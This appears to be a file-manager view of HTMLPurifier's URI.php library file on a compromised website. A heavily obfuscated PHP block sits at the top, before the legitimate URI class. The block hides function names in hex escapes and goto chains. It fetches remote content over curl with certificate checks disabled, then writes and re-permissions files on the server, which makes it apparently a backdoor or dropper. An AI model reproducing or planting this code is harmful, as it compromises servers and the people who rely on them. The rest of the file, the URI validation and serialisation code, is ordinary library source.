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编辑当前文件:/home/mgatv524/atvcmsTRASH.com.br/maisqtv2/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php
$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme); $this->userinfo = $userinfo; $this->host = $host; $this->port = is_null($port) ? $port : (int)$port; $this->path = $path; $this->query = $query; $this->fragment = $fragment; } /** * Retrieves a scheme object corresponding to the URI's scheme/default * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return HTMLPurifier_URIScheme Scheme object appropriate for validating this URI */ public function getSchemeObj($config, $context) { $registry = HTMLPurifier_URISchemeRegistry::instance(); if ($this->scheme !== null) { $scheme_obj = $registry->getScheme($this->scheme, $config, $context); if (!$scheme_obj) { return false; } // invalid scheme, clean it out } else { // no scheme: retrieve the default one $def = $config->getDefinition('URI'); $scheme_obj = $def->getDefaultScheme($config, $context); if (!$scheme_obj) { if ($def->defaultScheme !== null) { // something funky happened to the default scheme object trigger_error( 'Default scheme object "' . $def->defaultScheme . '" was not readable', E_USER_WARNING ); } // suppress error if it's null return false; } } return $scheme_obj; } /** * Generic validation method applicable for all schemes. May modify * this URI in order to get it into a compliant form. * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool True if validation/filtering succeeds, false if failure */ public function validate($config, $context) { // ABNF definitions from RFC 3986 $chars_sub_delims = '!$&\'()*+,;='; $chars_gen_delims = ':/?#[]@'; $chars_pchar = $chars_sub_delims . ':@'; // validate host if (!is_null($this->host)) { $host_def = new HTMLPurifier_AttrDef_URI_Host(); $this->host = $host_def->validate($this->host, $config, $context); if ($this->host === false) { $this->host = null; } } // validate scheme // NOTE: It's not appropriate to check whether or not this // scheme is in our registry, since a URIFilter may convert a // URI that we don't allow into one we do. So instead, we just // check if the scheme can be dropped because there is no host // and it is our default scheme. if (!is_null($this->scheme) && is_null($this->host) || $this->host === '') { // support for relative paths is pretty abysmal when the // scheme is present, so axe it when possible $def = $config->getDefinition('URI'); if ($def->defaultScheme === $this->scheme) { $this->scheme = null; } } // validate username if (!is_null($this->userinfo)) { $encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':'); $this->userinfo = $encoder->encode($this->userinfo); } // validate port if (!is_null($this->port)) { if ($this->port < 1 || $this->port > 65535) { $this->port = null; } } // validate path $segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/'); if (!is_null($this->host)) { // this catches $this->host === '' // path-abempty (hier and relative) // http://www.example.com/my/path // //www.example.com/my/path (looks odd, but works, and // recognized by most browsers) // (this set is valid or invalid on a scheme by scheme // basis, so we'll deal with it later) // file:///my/path // ///my/path $this->path = $segments_encoder->encode($this->path); } elseif ($this->path !== '') { if ($this->path[0] === '/') { // path-absolute (hier and relative) // http:/my/path // /my/path if (strlen($this->path) >= 2 && $this->path[1] === '/') { // This could happen if both the host gets stripped // out // http://my/path // //my/path $this->path = ''; } else { $this->path = $segments_encoder->encode($this->path); } } elseif (!is_null($this->scheme)) { // path-rootless (hier) // http:my/path // Short circuit evaluation means we don't need to check nz $this->path = $segments_encoder->encode($this->path); } else { // path-noscheme (relative) // my/path // (once again, not checking nz) $segment_nc_encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . '@'); $c = strpos($this->path, '/'); if ($c !== false) { $this->path = $segment_nc_encoder->encode(substr($this->path, 0, $c)) . $segments_encoder->encode(substr($this->path, $c)); } else { $this->path = $segment_nc_encoder->encode($this->path); } } } else { // path-empty (hier and relative) $this->path = ''; // just to be safe } // qf = query and fragment $qf_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/?'); if (!is_null($this->query)) { $this->query = $qf_encoder->encode($this->query); } if (!is_null($this->fragment)) { $this->fragment = $qf_encoder->encode($this->fragment); } return true; } /** * Convert URI back to string * @return string URI appropriate for output */ public function toString() { // reconstruct authority $authority = null; // there is a rendering difference between a null authority // (http:foo-bar) and an empty string authority // (http:///foo-bar). if (!is_null($this->host)) { $authority = ''; if (!is_null($this->userinfo)) { $authority .= $this->userinfo . '@'; } $authority .= $this->host; if (!is_null($this->port)) { $authority .= ':' . $this->port; } } // Reconstruct the result // One might wonder about parsing quirks from browsers after // this reconstruction. Unfortunately, parsing behavior depends // on what *scheme* was employed (file:///foo is handled *very* // differently than http:///foo), so unfortunately we have to // defer to the schemes to do the right thing. $result = ''; if (!is_null($this->scheme)) { $result .= $this->scheme . ':'; } if (!is_null($authority)) { $result .= '//' . $authority; } $result .= $this->path; if (!is_null($this->query)) { $result .= '?' . $this->query; } if (!is_null($this->fragment)) { $result .= '#' . $this->fragment; } return $result; } /** * Returns true if this URL might be considered a 'local' URL given * the current context. This is true when the host is null, or * when it matches the host supplied to the configuration. * * Note that this does not do any scheme checking, so it is mostly * only appropriate for metadata that doesn't care about protocol * security. isBenign is probably what you actually want. * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function isLocal($config, $context) { if ($this->host === null) { return true; } $uri_def = $config->getDefinition('URI'); if ($uri_def->host === $this->host) { return true; } return false; } /** * Returns true if this URL should be considered a 'benign' URL, * that is: * * - It is a local URL (isLocal), and * - It has a equal or better level of security * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function isBenign($config, $context) { if (!$this->isLocal($config, $context)) { return false; } $scheme_obj = $this->getSchemeObj($config, $context); if (!$scheme_obj) { return false; } // conservative approach $current_scheme_obj = $config->getDefinition('URI')->getDefaultScheme($config, $context); if ($current_scheme_obj->secure) { if (!$scheme_obj->secure) { return false; } } return true; } } // vim: et sw=4 sts=4